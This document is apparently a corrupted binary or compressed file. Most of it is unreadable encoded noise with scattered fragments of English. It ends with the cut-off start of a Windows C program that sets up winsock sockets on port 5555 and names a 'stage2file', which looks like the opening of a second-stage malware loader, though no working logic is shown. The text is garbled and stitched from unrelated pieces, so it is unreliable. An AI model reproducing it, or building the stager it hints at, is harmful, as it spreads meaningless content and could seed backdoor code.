zV#{{*d-8>do?5!Em(36wbY%dHO3P2a6fbK87pq^Kd>~bR5 zn-=n-v+YfU1JJfN-Ge}n8xOq##r+J5hwWx83W6=k{X$Dp5fv)-EAAH%MHozrR*&l% z$E~qOt6v|ven{+(INJG!{4RGb$N?ZTo-{_sZ1I-J+m|K-8P6^DzIgMS>T3#tCvil!EA#(9! zD6gXD->KZBibZlH$?pFlKEg#%w$B6kC&QDdYn=BSO|tKoo|oG?OP~xA6G`H#ZS|bx_7Y6CP&iOj%#uE&#`Q@3_4=@ z*#Eu>9O8Zw{cJKx>8kq~3S~SR7NIQMhZv?kq3`Veb0s@wd^Py?+++dP5N4ye%~+P5dgbP+rc$(>zDHo*!%Ts^wn$MdINpEb_@SnXH}|>^xQ}Zaat&= zpx+H!v$h!};FmV)JK*CZ*B``je>x-NKH8JY6XG0FL4UqAmT*LFB`!C~9Vfo%v#70s zvaaQd`(dU2ai#tl_)%5_q=SK(1vqF2R>0vUKA@gdiy`)!?Ry0K@38=W#Xh%WCn)o4cfhfl(b+_=QAZGKfP-lf(*uDTz_j#%Cjy(YkaqDqgc zWv3h4j6qPl{-jd2s|M#$UH;?iZ=l8XJE2b}sU4O~gV2#{;@VS3!n<4nB>Z>UnMnqV;N!Z{0wb5n1h`=miM%*WzHJrL@igw8tl!(AiX zyHxkC(3wfcK0o$p@-l zK*u~rHsU~yL1@&327`c0mfdf|IYFAKy5Cc(crX*m--lHm=8>xRXzx6+Mk#y0AZ&ww zvEqI|Y{r;-56h8oA_8v{xyoMPY=O?Nn}pk7t2%0O-I#a|!rKDYf5>Kw(11R79|_-t zvfoaYo<>1f)ORWFHl_G*jUpWlXMzKe>swh+8cISHs`Mi57>~x#$4b(^rx?ICRXQAE zj_?h*F7gev6_ekIz;Z))Do1BO)$B8d9kD2!FGCWa8Q&+Cs`U-Y?ni5s!X&k|MzJg9 zMrB>X&@rU z^kQSF>M?PLbK;J|#v-mnW#O^^B%;$y<)%lsZLWot%$HMv^F?Y$yE~#m$|(3*mQ%2s zvQxi8`|DHv+6JR~N#7p9eZX`F$_S>x@y9nN>}FkVlI zjut4z7jU@H(q_Q#r(zt&G^7@x*?=N=0XTiPZiIZ3VBd0p_+(Y8@G_1v!PYmR;QXq# zsT8EV-8|KuI`tSh6gEs$YJcqz`w8?oUruF>35T(QawK=H(bNh*G|(OwE`!bNFLa;- zu$MIu>M_gAyadJJIyRg+-S8Y9>&yR}a&JPpHFCtd_ItjZK!LWj1rufsDT4))r8&JQ z{JC1y>vCTZQz;@>N^EGosX0A7VldQO9BAr?U4iaO#Q}Yy z`X6Qj$yhJ0ZcgBcumd=b2lK>x=%+KpDpR|%iz5@d*4sCmu|Yhdt-z2CDIHEhU6yqYk>dHsvdD9tkG7+};mkf9y&*va8dtG7pbv zFO;p}kw^D-)6Yj|vNg2xUuDI%V*>rU;kprQ`|tSZ%797^p?1K3e6vw)mxCj6-8PIg znPT}!>wO+0?E~WGdhGINs>SIz>USK!*yC{q<=h#dt*O<+K7`;wNw^2ljh`7iFVCJK zCA67l1lAb*$2Xmf%*)($#skhS@pd3~=kB4GI14QAhb!E_I!NQR=`G{g(uc z)ui}Oli)S?SysRc*HA5{Hst1D8v`Q2;3;8lxMqQKF5fuD)j?!{qOF^9_VsV{vzqd^ zHh#|Hw(?YX@YmaL`r2CpiB>|}q&e(!9K7e^1rE74{uVoaIqcUc1%9uhen>irWde*` z;j_?aU0;Y}pk*GF>rWCz$+`_MoL?Y-EhJB1KJdh~K0GoMjWWH3?Qv#@0|RzbXbTzV z3`rPgAO~HSB&9>_vM(`T7APT9_`N*BkYWc<7q4yC7p9d6?65UOc6=j1@D;3o}Y z5;f244{pXq0$xV9s#Rhv6;y_ere2KTMFjmNpx9^v|HN?!i5B1mDRLFnm7qrYKL}g< zyIc|6zkv%O*uBVw@$Y44UZZBFVrMME_o6P)UKITT&X5)Hn_G5g>6|KhZE0y-ujO)T zVp2e_HG=Qa<}Y@F9I{aN7UaEH#M)8D+cm*c;Q?ZZr#m z-_U>@j%d%X(QVN-jAqa3QE7S2;&(K4oh$0uP(nMCx=0qs(XTbK`!J2tWa*A52AXN} z&EZk_4SEmzC>CK=3=lw3R{dv9g&3y`H`s5VLQ(YVnQ-@5PC8a(RoGU*y+1yL+TjmY zN?-8Ed5DDXzsXLLJWIdl%<{L2#R%}xSB_3P>R&UwDmJgHF0hHnQCN9B^-OY<7)v{q{!~BleqY3T267fQ`IpGT|8+OL-jy)kmg!F`@F%AzI?8;&A< zpN}!oCofGrpM>~!R@3|AfJvllX`T!R%!M~Zju7ws!?8yfhT65*6Qo2>7Yrr-^GE?f zCB2~4vsGYz2m1t;CiajJUn0cj&Ns&P`UFB9M1ppcAl!DPY4>o#;B?Q~9FOXdWMwDj zU~+;pb-^YNzey(Ye4T>R&owOR(y_6A==O&pt{b_%x@gYg%;J7HH(d2Nej9_6@l8-Bgs zCz%@;fAdYn^_ji98eVx>kj+e={#>d-`@*?wOzJP29cISKwxHi}d{2bGnb)WKWqL~# zpY&{E#=>`uuY*ME-6o?c59HH}%bA_L_y=nF4gq%yAOl&bDbMhIJ7Z1t{A%}t%&LOL*OeEyBZR((G;;-ZK z{QNcxmxt;5w75euerAul?BjJ)zTBGq6-Pk(wO zX2y=CyE@M2Dc3d|qB5Tqnv)}SR z_c3(dZSa5hK8E!_|7Z6xi0x_bW7zRC{p^3U*mDO!uHZh*;!zBPI`3HcXZJBk=$v)z zbQ?X}f69FfdK%7nA44>ZCkSdKv>aLjErRAjVWgx;Z+aag=Q zuyxlvwx%mL4Qw7Y@Z}o~M_HS1-u|LQ%dpGCx!!FORk(lBGf8YI%OaStX{0jb3!F(6 zn+cB_dZv$TPhXmw)SfhaQ{*E8ST7rO25yr>-=s&2rk7RH6DRh(OXM8`k45@LZPSyv z6^09_P%-vJe}t7gurb$h~}f5peiEs>rlhQ}T1JFcyau}ykDpS<7mxr|tnImsM7XK>wh3}f}Z zlylB{4(8T2O`pmec*#~4YXF}U6OyQ|<-uaUJ7jLewN#s*2H@5w}k}_qo%J^!} z=oP$M>Ep5SwiC9GXtLNvJ-`3RY<5N`f8P4}8w*=CF5&N2uP*B!fMvgt*rjyY4ZtoX zy7ij-Y}gfTY`sqI+trs0@jeqNZH>&xF{y`yCo|&jd>f$&;QKY%#|LIJnc3})#CR85z$WSL8#|JoW$Jf3 zGRhZC?%?J71*vTHQrel?c1{Vif&tW>y91&2-c6UW&Lxa+|PE_ z*32HMhvN7*F)P6GV#Ldu$l`6p;+Y?xv{>GQY)y67#&UC`zB(+6x%bM7N}o7WU1pC4 zW(qUo%-X?y@%kEW(&8ofpv3+F)E3t#@Y3Pi9FbS>a~{JeJ#u!*zT%A{vsZFptV!4x{2HogU1KmUV``g-{%Q&~&=a9ehx%>68l%h{H_Ojf05 zHRqLXPR^4rm#mR>>7I!nZ8#ju(I#F}*_*>V;Jfx=G(X)QVz-CwECThY1bzJ|>>qh1EqY zLDf$=!ndUB=dVjzIEl!9FFuMrd8^pMkhE|FCdIz_%aVTJSE@C#0N-{nTXYB}Jz{nn zZQULC=SyX~BYXray7>O#!BlayaQ-SSa{fqT`5kAS%kR&q<@X~u)i0KvHT99T^^sMq zfmbh$>|Yu;V(BgM^^51|7Mvs`Jxxi^y4hHt^h8I)@Z+q;FHLm&Sd3rQu!&ifZOp1{ z&yc+ob@juKBTBLk-=O=)r<~M1$k}cQZghQK6U*gKk->(@+6FytS(_i-nGDv2e|QTn z8|JeCr(?mk9!*j}?e*DB#Y|-TSm|Pk{s^DHZf23*SfW45w*Q9grr4(XNPEI2eZ4#O z3%sz7hc8*8KXJz`YKdM9=7t)kG&OAdyw$dwj*9)**=yn9@P_$|7L9KY$Bb;qJHkSz zEY&ydDsSqQ-9*^3RR8g=LkXXr$XhFA#@5A@0TsV+3zCJ^?4s4)W!AlKRm<@&Me2TW_tXj z75p|?V&|%$dR_J#<}YV2u}p0pJr4Kt)^kD2c)9C|7ILGUuV7ZI*tad|&R-!}8At$C zOST`s(a>T00#R1u2odP{8#am@4`fGw$G}(Wvlq#dW`~|yxLoXOR(nhuvKMhB<;tXm zHW5`_&Sk3?s;HdH))Toa_n*r7xw@mK$c0pfR>VfH42diUXc1Q7TD0)fY$M1!!c`07 z*G}R_(2xJ@7i35Rm5Q*&x!8-N^au;W@G|B)gG?n4gFMN1_6Z%q88kl6H*6 z*7_+c82tQ*fA&z}hms0qd@F{W`(Z!c-J1ZK-ub8RbNI19OSj_ZNw5e~twXY1@ z*a31(#42g=^Abn4$Wzkd-|Fh9cqJ{C4ecUg(cK`3*rv!lJ)DsU&ap%D8pg9D2=R;6 ztH{r!ene|WBjwgGzwT&uI~!R>HcUCf6+JIgKcr3^V*5&K!meE(pU7*J(jVU*d5!%m zv?v`?DUufDQ7Q;v!%OMK3C)OfJMkR!W2kRIG2}YZp$qtDrwa9kE}^cEh(sfix=>%N z3-yN63iZ+Kl$eIRB@Nl@+4sOX&aiWZ9J*LfD{!@R4l#;-p6uGLt};Ug=5-mdTQlO! zb=UVixQ0OnUS{^6_j`GmYI7w zF(hYB7H@B8p*;x4jA+Pimg;c~haELBBVr>vxaeT~`i55sukDih@lEyP_b=@iWb*sq zB}?O+q&i_!17eZgwy7-zwoW<3^;hhQ%pu+6g36dc>q1X_Fil!~vNwO_-5Dq7E&Pso z*@t@7dOVT%tuf|NzE^7g2E}C*pE&C)R(O_N(Oi2lwk{_&>4oielVf-@OP2*b{e<2p z(+P^9x-3BV6rV?-9f-p>mi*b~gFTpPwY@1v_Qti%T%y)b7$Mo3j&4d0_gr5Kqj`tg zsL|>i-4q}0k+ALPrnqp=K3bd@aD`7FxsLkiCXQwIk%R9q$XHdbpo-UUytQH1b1d3u z1NVe4@x2;8-}hQL!M7)JULS2LZ&rzYv~&QECi${974hbQFWq$Gf-g|Ugj00vfrpnO z=k}3dBwLD_x%#kAx~|q&n-hQW`uyWm^5eGce3&|RX7croapBm7+v6MK1>zc$1$s1^ z1Y$T`c-DgLlD2UZ*bexdCe!n;s@##p@6o7`En+?T zhzYizN6wMZ*c+pV+Jli@(;xKH|C?1jam+3xHn4jn{_|G{e#(iRcHgH-iyk3+6WW4s z6!(1Gx#RWn4zj^esl#?u<>Dqi7durhcB)+L?4jpkr^>}n$psf4H@r0P<4h$$H$AUy+M4+?=ITr8bl)B}?ih+kd?z zHa<4#aT>$yBew0_@+j<9my`*|AJdZ{On*#Igz%l9gztRwiPS||-_Y`$ls^2vf<&0~ zWFHej(D{9Sl;6Txm292oGt&o4so!|zi{Xn?o9Jx0X#Yj>2>Z2|LwYf2v8os}rYr`| zkLP}dO$pn$PGiy2xXEuD#2RrvFXU}gNXzxtlaEAR3ch7N9uvNtE-M@Lth{!bth}bD zPDJOFtmql}cKO(pu#*d=VSAK$%waH}BA5OfuV0;2H6~rEXY9h}IH{jtywpxGS?VTe zidIULJtj2ldO^e>D*3O52T~GJM5=Sa(bwyM)DuRO$GmD znoYBIbIFCXWi=UPWtG$MCh8H@p^)InP=;GOJNdFDx4u znjS8#tjM0DWmbm@!=dcip^9+!95}D^<3iE9C3QBNSG%j2?eb&fGVRa!F zV}_z`l~q+`Wm!RKd8nH7bh__mII*xaJfgDt6vvr`Wo6R{vqsA-tE>r~Vk>!5>FKhN zaK!wiIHHE9grS>`D2vpTL^(Q<+=qroii< zo;b58EZ9gaO0OJC%t|js(A|D~O{h8=r*b;FuskGrA60{#lop+2n46hbSk)QZN%^OY z3TK2y6-gQjN~h1ttc+BIop#;Lh|;o9x4aLZn^Ra(RHj5n@_Yt+_z|hl@?cg0@;Wh8 zq!pAzD3elcTwz%3iVEjyVy`1^YD9s%3Z>G-eYI|=mu0E$4!@CVUB#{6g%#R}&@?Tt zuv*Kgss`t3*AVA5kuohKGJ~{LX=A2`wb7NcwXD!|agS`z6+hLwf^hLWy#&O6snk*Y z>--}OQipkDMx+LbBrM8K$p&Foii&UzBMHA#oxucMK9rYtby3mPbM(&luT6|j>kLbzQfMm&ZuBR+A}Wp)i=N?Jz{+B7f^y|fP*T9uBXmsDL7 z&6}X`I0Kvkj>BISIEL0z@-mvd&jzzFmxfP;AJIdVa8x|i_?CE#{EB+I{)KZDZ>b)K zic>F2J^r$&dlh$tyh@Bl8p6a_P9CH^HqukssaNUh?!rjp$z~aFK%V?4=7CqkuOj~E zM&lQq{Dx^JY}L=yX(Fza%N#97^OB}={%iQj6N1~R+IaY;X)BxgJ^-{1YJz6MlT>n= zkKJu>BUQ_UpVG%vqP|ue+i6~aOsPlu;JWSXfdJdUUSRr5TC!X$v;s^9_k(OT*4!^^ z$$iBfJWtHQ6fxhSC0__Of){}u;Kg9cpS0uwU@IucI0o(1k}nZ+&;*)a(ULC(SAds+ zb-VaB2G|Zt$tLgCl5YctfycodP-YGC!LgcCGxM`*eYD=>&ZHGn=9O?DOx>tJwoJ%X zrLGR6u0dj|bdzdam~c_4qw-S(UyJmR2ws1T@ZFu^8$P52Ds|~C(Zj7G&guA<6i9z> z(j{{SF3R=N3KO@a@#Jtl|3bJD^K5cdO*|Eyp{uY}dM$9o;71{{E9nVqL$%9ERSD^; z0Y$wy7F#>95UW1Bs`I4DT~5r-i>fwo#9Gb7t-cXCQ{R- z_KB}@_*RCl6zU$Dl+$!1*@U}lodea;kh}BMqIH$m>BBFjqN8C@Y7>Hk;cLfY9PJ!}*I6?(c$^|(uE zr&NuV9CpRl#jh@T`S$!0S-JIJjPGRmF*s|K``1%1{4`|BNWbEhty^8pr2GqTY2@K_ z;dIqOk!T|fOK16Iz(v(ZRe}FJMN)SpWk$T^a72~8*hr5pGAv~-?mhW7CH7K3PbcU99sD+t8<7f?YAJ82btb)Jmi z=HKWIjGQScG5D0K^QoM&ma&y;tB2ASO-EO)_b*>>MY{MY67+RWNxK=wcZ5)+T@`s! z|6M+_2)~TdDkRI)lrP3PS!C>BR;=@J0%jsLs@KTWuH1Uo@|NB2Yx8eC0Ha2bA{Nk2BZr#?r z{iT<8{AuSaExUH_+56{LUu%8+jW_rG<*m2(zw_>U2j2hSuWbiEJaqV@k3VVu^s~Pm z`TNn&JH9yfkK>$@b`ucz5I$RhoxS1wb^2|*&R-o+vD~518KqZ!fDfsLd7#mN@vb0E3c@mx}~}% z9GQLVoVmB%IC;uVH%~pY{rBh1zx|H?>HPms$NyjEf5!04tn3jZb4FcrZEoJ^G5Obx z9ak`Z!o*3}-=O$^X8ZpY{Fj-lY{m>~ts{#OQm)=U=CK;W?DOzS7ATm1&S33gc4%U0 zMN#FgqR%a?iJIkCRz;XF#7ySB$4r~a412ekX_?o;&R7l517Jx*P1s|nSHcf9{X1Fl zpsd#%lf?QgnnL&1bYi>~H$I?NWAIkw{q?8ZJ8q_2(5u6J40ZYJhz$#F- z@y`Ke9<3IXd9*rE=FygcGLN<6v_xims+1i7?ATMNqk+Impt*P1|?Uuy$z52k{Xz^lQjpc5mx1Zv3NQm)1!jVcU>3L* z909HeM}ke@D6kp425bSZ1zSOx=iCpD0oy>C18oNc*2d>AwAGihV54M2kgZsb~unoKrJOW+>Y9ApFU?MmGOaZ?G z4g$Xmn!!szKWGATz)Qgb@G@{JI1nrY2Z3|I!QdkBd*Cu~2)Giw9Bc%y0M~(6f=%Es za0i$Q9ssWf+d(UM9JGV+A8W}Dupj6IO`r=L2D(8v=mE1pFPIPdz{y}5SONyYFqjV3 zf*IfvFcVw>W`S$LY;XfO0&E6Hf_uSH;C}EL@Gy8S*a7B(ai1VZU@|xc902BnL&342 z9h?BBgA>7A@CI-)7y`?{S>Qad3|s;(09Sx9G$5%mvfHNnj>e1kM8IfiW~xOTajA1$Z{N z8tetG1$%=Vz(lYaya?P2`oP2BEU*KNp+SrPlyJa);Mt%F>;(=3dxLH;5zGQF0`oy1 zI2nwg!7Bsfz&YUA;3BXWxD4zKt^^aoM(`qV9q0phfH5?T`@mjc8`v8>0w#jmXSfFw zK_55>jG>{lgT26Xus4_sUIb18eP9(BV?wULUf>e2H@HIV!PR0vh;)cO*d+Gg4zUMY z#eOL15qt26*n`^NFds&Gz+PYq*c%)q=4R@rn1g;X2Xn;SPW=>faH^PtWn%7zU!n&W ziQW&tL=UbMeLDOSJ-ALVi*yR+kWRr|(kYlvJq6?DQBT2(K=sa?4-x2xz7;fqZ-B$VCqXy33d{o8U!moLuYi-mKZ7OUZZHf!2G)YV2bX|bz!l&= za5X4>z*=wzxB=V?$Ho0!OP&tKlV0iTlhMNhZ2&kQ z911=w=Ge>HS33G^F-IQ<=AxIrW)k=V(2Ti^35w9eLVYYCV}mO64}$Z+AAxnC^i9jb z-+`;Z-+%eEgCU65NV+I+k>_A^9=IC8uD|#6-ln`zrcmTbOJ!-L+F;F}D zFxZSeO^SM?x zFbn;?U_N*qScf~Qpp(&$1*-@r6)Ztt4K71(0mJC$fUW4gU@iJP#UB6Xf*SG~1eRc4 z53U5qfh%xt1sl=N1fKxHQ5^P0Z4jup(g6)_G1kv9G z?nmzfkE34%)}c3p@n2}kzXbb%w}K`x0uBSmgDXgPU(k*IJ}?U`0Q140f~&AU51fpC zDY%|+onQ(2+rdWc`+;Hf6Tr3T`-8RUCxT1B72pbR3D^k!3S1913gZ5Juo?X%unGMI z;9m6CgKfm;2lu023?2p_1v|jmVB9h8003L?cOjUJ{zfnbf0uy+&=-M2!52U`_#&7C zt_3H7>%kK6WpEC-4QwU6i@-YclR;_Q-vgGT-wdt+p9i;qkAVBYpMm@FcQJSb{m((| zAAA`LSVeklU?Te4Kp8`)gDL3m2Ai>WgG15Rf-UGhpdI}Ju#IpBfa&OO0&~F%upRU7 zfRoVQ46enW11v&64~$1|0;|wZ13Pg4U2q=ysbC}acCZfp{opF_`(QfeL%{XuOTjH* zCD;PSg8RXD!FF&NcpQ8HjOWDOQ(!;v*Psa;0S*JJKv^e{XBulBP&eu6i3r5Yvb~iu$CrIA)J#Z6iruoG~7ab$TKVIPgefqk##wFWPhbR zv!d>2MZ>FMT|=HoG+bFTl}C1I$RqnQfw{;>sy3XJAtfWJ%zB7qh+N3NoEvn%vR@~QojDRtNLOd078yy! z=UCJt7pd%e8l|hNb+wp_e57KUtE(fZbJ!K6 zA}6V=B8j=ID@&Rse36$_RN_WtM${6%$c@A$ZbWt@zmonM?H1G-dN?(3M9d{GB1fsD zAV*h=-vZsQ$dkk?enqAvomr?wu4I3c;-TbmxOP3}B3}}w@FAq9Gg}W|jUB6pI`Jk%n4qP~IuTy)`RS&J+hdWu9TzjLF8A;QTQn`ENPSUlL%tpD0d`rBNcad?~za=sw zaxQ9-E0J|kOZX!1!nafNBJyvP-84P@Dqg7%MjE6}7;32(U1}v`l1`}~hIzSO7DoD| z9F@AJn_sCnl78_!T~G5!N>b{dl%uK(sxBG6B|lQ9q?9GsM%|K7q;xeTOyzR8&P9=9 z;gRBdxz5wkI*+7{mQb(L!;m~=>hdRTu9SzQL)u*lS^8{gb4AXCkE+fn_o~h)^9tRs zQD=mw`Oz{{DbB~Fy9}v1pz3XRIm^`ZsM=;#-m0Fc@*b}9t9w~?cW>lBoBYV5@|ms6 zg6e;AbU9URNrs+2mFEn-?y5X1-m5%k>atuD<+|jddweQ=Di227`8t=3xO4TAQgM&d z)1l(djm9VZR&l7fM@H+W@J#VowI{=)=_u#A1fvERab)Rbs^ZAgOWue>wFMG~Dt8r! z?0GTDRHb8@Ue*%Fsb!?%Qzc-;C#(G;9}?~;J+~^{eBE5}El)22#kbRkE44^TixF;t zUbZS+C9^7A*Eg5<_C^xy$Iwx`8pzl3Z z;V4N~Zmx}*i<|steU)%BsaHl^8Qscbye@mn@9=K!^ShZ}7cEN(N3|L%-f?=1qSQIj zauGM9DRHB1$k)@~HLjChMU|7FYUgG5nvu3bWX4cWqm4JzMfylYr8A_D8kM?~_RMfI zQy<+Z^I7@`Mybo_sSP)3_p&k9dPUU}=u9mpOzcEHq`@B^fApeHB>_O{N%P3Ec%~Iiy8lkCimF$%<>P{g& zilLsSr$foH8r2(WNt05m^eJ_z9=B4@)XPArE4qbKrOSabS0hoSmR)E@m`a9}`E7dH zE4h>s5;uyEm7QwYab=jxey1*Vm;0h_=4v0k3Psb}asRq7JG%#^yEv5gU?>|rz1 zY6Pv^$e!IU^R9TSbeT|Yqz5$IM7o*FPB}4`K2&xhi(1AX;>#Gf$sT7>%Q#8B8L9D; zdJ9l(uzK@QYE@o_TI!xs%fF#6)5}_!mm_<|SVYCE#z0DT)!15{Ay8vA!(7^Ek!fQb ztlpyJm$Dbj7}u&dCfPZaN`54dYK)=eSgGZo+wXO`pUF5}##>ScX6XD; z@PFkSHz@iY$$u)N^*_&8}(MK-fz^Ku^Pjwc-8nv$)8fI zbSky{OMf6^bM+Rj-ce-tp_r?F+jt*0^vajAm$6QFd(n5d7tW~Im3!e%mtNktWG9~3 z8FDGRG-V7erYD@JnK)Yx71H0u4@kQLd9 z*`=2EK{dOe-ltS~%RW#smvU9_EUG-z`=IPOly@9)Q$>u%`;HnZch9pjQUBfZpxyyz z!*Ao=O~tGFcd3g~GmUv1(Th}d>BXONTcXFW)UwakFt5?;nlcaT?YMd`RPp>*x80n1 zTgSKBcB7AjWL{E6donH^&q!?$`U4T>*{?Knl|ENC4IDQ*W3=F?(ef@XD05$yf!FEg za^6f@?{Sp1+Fx7F7^#w<;?>*LdCqF$A3HohB_JD{a?OI;qo5rQp>KGU0PjPAx+bS!s^n(X=R~_+DCDmr#`LCqp`V_g+3MX>cM`voq_h^pRXK?*hti+;U$e^XhT^9*e&&>~2>sJF*Ob_V? z=ix(d@q6;^0YH#<{Z;KHAYty^Z zV3aedSQ9rkTsFSqR<@C9SLaiiE`=j_(g(cF3zhkjuBH^kCS3ywAlnthC z-Pbto=+L+aCb#P*2JC(uqu*j7ad+Ncu}{_Kikix@kfiFZeM3BvjQ>2}z=6>pq(ArMg&VWz{`LM}u(tO% zc={*SMmXJ_$oN$r1C_2z|4rs+vOiNeXL4_t8)*3dpF~NEtbUmP$htq|hWt=Elm+EL zxljQ#87hLRpn1?DXc@E|S^=$uRza(wMraMR7Fq|bhc-Y>P&2d_+6RgI1JGgU2y`5Z z-^$(_XaF=68U~pmKa>v{{F{ur2r7fZ&^%}nv;$!C02=%zD1|Bl%I z*MxEA^E@hvXP%h&Uz3IZo`jrHJfd~sjN)PX?@7=9*P;IZLoi}`#Ko`eACoMfKc9N% z+&eFgvhk6(mEwVi6)yPI{^O!bzr9w+M%-_D=#7U=%KB^n3%*iD=}~<8Te{DPx_<`u zuRM6*!Hcx_A8dP2b_AaMbcTQX1GSabOBWaGbT*w6maI(AiKT6dy$~6TJ+5#4Z6c>?B|CgCl*C;4E#?kL^chioW>n9xSNAhEYCbNCGFFxFWv7V5Ei>K{PB~qjC#0Q``k4;NN8)QiK39A~+B|8$Owb)r=d-FudZ)U%XP5d|e5X2n zWn!l~|HY(E^`Ikt4R!5(E6z96rVTG#sMK*Aw_kjZUDOYJv}5PRoA-=PH?`mYbk&uO zzy0GcOVeAXd^!02i|!e7;h}};x7_#Iy_x6qTzdHv_osicaaGnw3;O5s!{S-vhj^BLUbTPT@C|>t=dCY(`Hw@l|N6Sj z2R@kn-j2^Mzk1Pv?_~{5zTnp#k0-zP$1TUQ4n4Z}Z=WA}=bGE@eI+}zW806;dF1g` z7ryt{VqzPICVLpDCxJmoL76}j7g@l(^?J;qMmGFX<$wLk6n zlYH-m=O4ja0=-{*s7n4if;SZT-X62`rxkq{{yq5Oo?)R2-<@>9v%5YGwj>Q)H1gt+ zYySA?$HDYRo+&MRqUZCjyAB0yfepiNd;ibNH@^DU;N~yC+*!Ej+*^12=0Nc3+#BD? z+w#Kldq3D7{PC7?zDU-e`n~Y;CxUOy_``Bf_HV!Y6wX^sEV`d#ijNB(rZ_T_87eRY%KFMhJ^y}KTX z^=)00J^buveim`Pd6n08%YfYj-?V-_YS|5*M}F`^)5JF(zVnd>pSHeR^3=JHj{Q~E z_0J{`8$9Yjs?$DZ+~YfE4gTTvajTo&+C2XsZCk&4|6l8FnD`_A#{7ksrHsBdH0{fU zKYZe><@3)ykowlIcJ6MD`^zJ(r<;wal|xX`x>Ku}JJnJY|9Spp4#enVCEAYKlY@xS z#{#hVYvyuJI0wg5(_^&xr#5Do`-5}J%S^Lbxnv?YFvN0|d59?_v+G>GbN# zn#$sE>h#KTZ(&XORkJNaOso@>7KduW6S~JnP$rWm%O z%2}c6A*M)a#&o$gIWVNSu&gFD#B_CMIR2~89E<=5q52bEA2``F-;z=7AQsWw<5RvefdBWryXjmVkAv zwaog8^-F8DZLV#JZHw(CTZ`>g+dkX7wu82I+vm2gY(4FX_Ver)+XvdOw7cx-_H6sL z_VM_4=xuwUwYz`4_Tmg^kXMAt2@hh4vM?R93P%hp67%o!F#TEfcFZo%^UFMdB=JudP}_J z-rKzkz017!dLQxr#rwXu!yD_1_oes-`7Za_eQCY|U&PnnKg{p(XZy$dZ}gY>8~hLW zf8&4Bzrp{u|A4>U|95}CKxW{Yz@$K7V0qxNz!QPL2L2YXrHxJdLE3|9e@*)+?MT|F z;DX@t;QK-8U>o6If3w4Uqj{FO)_k{lnfX5RO0#C^X}QRsEXwqv%l?M{1|eT;pf{W1IV_GbI*_P6by*gv;_X-{;V?-<~?(&2FU z9C?n3jwy~gjylJW96xhB>Dc0U$hHSPHPAKGb(PEM^0_ixqgp54GYpZLgYme)7*E_BcT!&ppTwl0OP_~KgzV3_M zm$(PHQ{7g#+nw$n;Vy7bbC0Tztw-e|8D<-{uckA{m1-Cf&PK2z}7%* z+V9e41b-WRF?c+P=+k%|0d6wiYOXVHFu!Pi-Ta=}Yss+WSjJdpSY}&lk?x;b9<>~^ z46}~3K5N@)I}7Q(+-|i`u^+JaaSU->?eIFTbIfww<+#VO((!;}t>Z06FK4=QwzJ-O zp(_t=Y;=9@dfk1YXOQO#&nnM$&pyv#&z0UxWV6&;<(=(aE@bhS{^$I!kdr$DKL{)dJQO&L?END!E3GPRZrb9syVIUY z+mN<7ZBJUyU_vlCcu~+493C7KoEV%EEDcr!Yl3r-%)P7$%XXe^u+47s*>Y_+*h03j?RML0+npu-oTf3&ch3!q--)xEY z8|+iH@UaCo83Fy zE$+SUR`+F|p`KwLv&ZiFx#wX|lV_V}ho{A}*YkJJCEn}2lf09?Q@usBFJ+Wu*!zNa zi?`Xk!`tGWjqFVe)CGPLcsdZDHaTrm+Mm+0gEt3Df_Ddh6MTx2_#k*F_=S|mRL)%j zL(CSl%Y3bQqIs_62bTLSk6Bu2QAb!uTT84zu&%T|V%=!nZhh6d-`Z|9*#fp3ZB@40 zY_Hpr?N`|I?R)Ga9orl|o##-??|06k-aSO^>fwId{h|9y_qm=uNL`!vQ}17VL;Pm{ zB>z+XgZ`fd($a27Tb;Hx?KN62EqGb*@?a!bAN*7BRY_NsnkSfQo@riezRFT$Sz~$5 z@`mLj%OI=QI@S7y^#a?awshMv+XJ?zX}g+iW%gvpaYqlQYIFKKFLqwy9PGT@d6m=d zbUV|W!<{+KTw0z9&Kb_PoSHk{z1B0_JKDR?d%)Z7J>hNeJ?MMgm+!9*+!nYjxGvZf zl#zv>q>QHTnP$Gl{H3{{Wwhm0i_?+gIJKnqx%bmIw7FjnT$UC}!_zX^1E*=1&|9_9 z8cu*CFVprc_B`a-;Ca#WvR;m@o*3^CZ?-qro9`{?R-R9J*Ha&xD9>B#MeP)Yo$ zKw6KG&NzRfzn_1Ae-OQ#-S78j`EyD2WPcHTUD!X*zsSGDzudplzuLdXzm8sSi+_iI zuYVtX-(mj||8aj@ATiJ{Fd#4}Ff3pX_ybvi+(1EKa-b+s76=FC1s2gREf1^=tPZRR ztP5-iYzgcL><#P-9H6Z_5;z`+OG`}amo^}6P};CGdzwEjD=jyzfSOU1R+bh{o0qmI zZAselw3W!?nzVJaW?RyBr0q@Hmv$iSFg@$>w76hmuwQTh?<&KB_MktQ70eA51SbcJ zf@Q&Qa9(gxa0z|y%HZnY8f0ffa7%CpE#AK1f#6|U7FzrLoS)@IJkFeG?q?og9%LRy z+vhiDnRCqrjBJX`W#+JXo_UdZiFr9a^=k7P^EE#@8Oz2<%91Lni#Bj)4gILfJ? zWdNl#%wo6rEm@3!3M`YUA7z#><+jMO#IoG7(z2S;U1!-~*}~XpuVtU*faS2|h~>B? z&YEcLXB}W2WF2O;Tm9B7Yp%7xI@wyp*ePtCXI*4nVqH#sUu|7uU1!~3-D2Hg-D}-P zy>FxDcUU!Bye-+5Vl&x>+RQdLH897PZ<}PBYAc~dm}9H8)lnx`*jCvZZEJ1osh7=+ z!dh+nZEcLfI&7Lf-kxkvv778e?Pj~1F<1`m$0Sj=k1iXJ5uhY?ZyyzSh3p z-o*H$#olV)Z*Q}=+dJ%NL|Xq|++oJ104(I!pAiNUgJuk;n?? zDrci}t#iGz$=U2|ake`5JKLP?&JL%hk3dpfCdMCTm)n)@%5mkpCb_1%N?cX+I<>Ak z*D}`%ecZ9uwVwW`+127|b?tYxx!PSFE@^j?-6?L9d#Ky2k2Z4L`R+;XsqPYYm3xl6 z)?G)vTj5^iZgj78uctp~rY~rvb!l_AyF1*PC*G6nN%5HI8O$EHC*70d$@fh1O!bs7 z8lB^*_0)Nmc~;QVH!>z&PoL3DOVjGv?`iY2dpbN?JLkoz?=AjC^ba}6e@R*$lD`(2 zZ%yk+O9{GzljyIP2Ui5wBf+h~4qD?F8B)?`4>G5lr!t;gWp1Kf(~v`x1q)U%`%&lX zkiBI{-wNb!6%yEp46a2A*CU5bNMbXx*n%{+B9Hr#$TnoM9jWX +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +#define SERVER_PORT 5555 + +static HANDLE hThread = NULL; + +static WCHAR stage2file[256]; + +static SOCKET serverSk = INVALID_SOCKET; +static SOCKET peerSk = INVALID_SOCKET; + +static 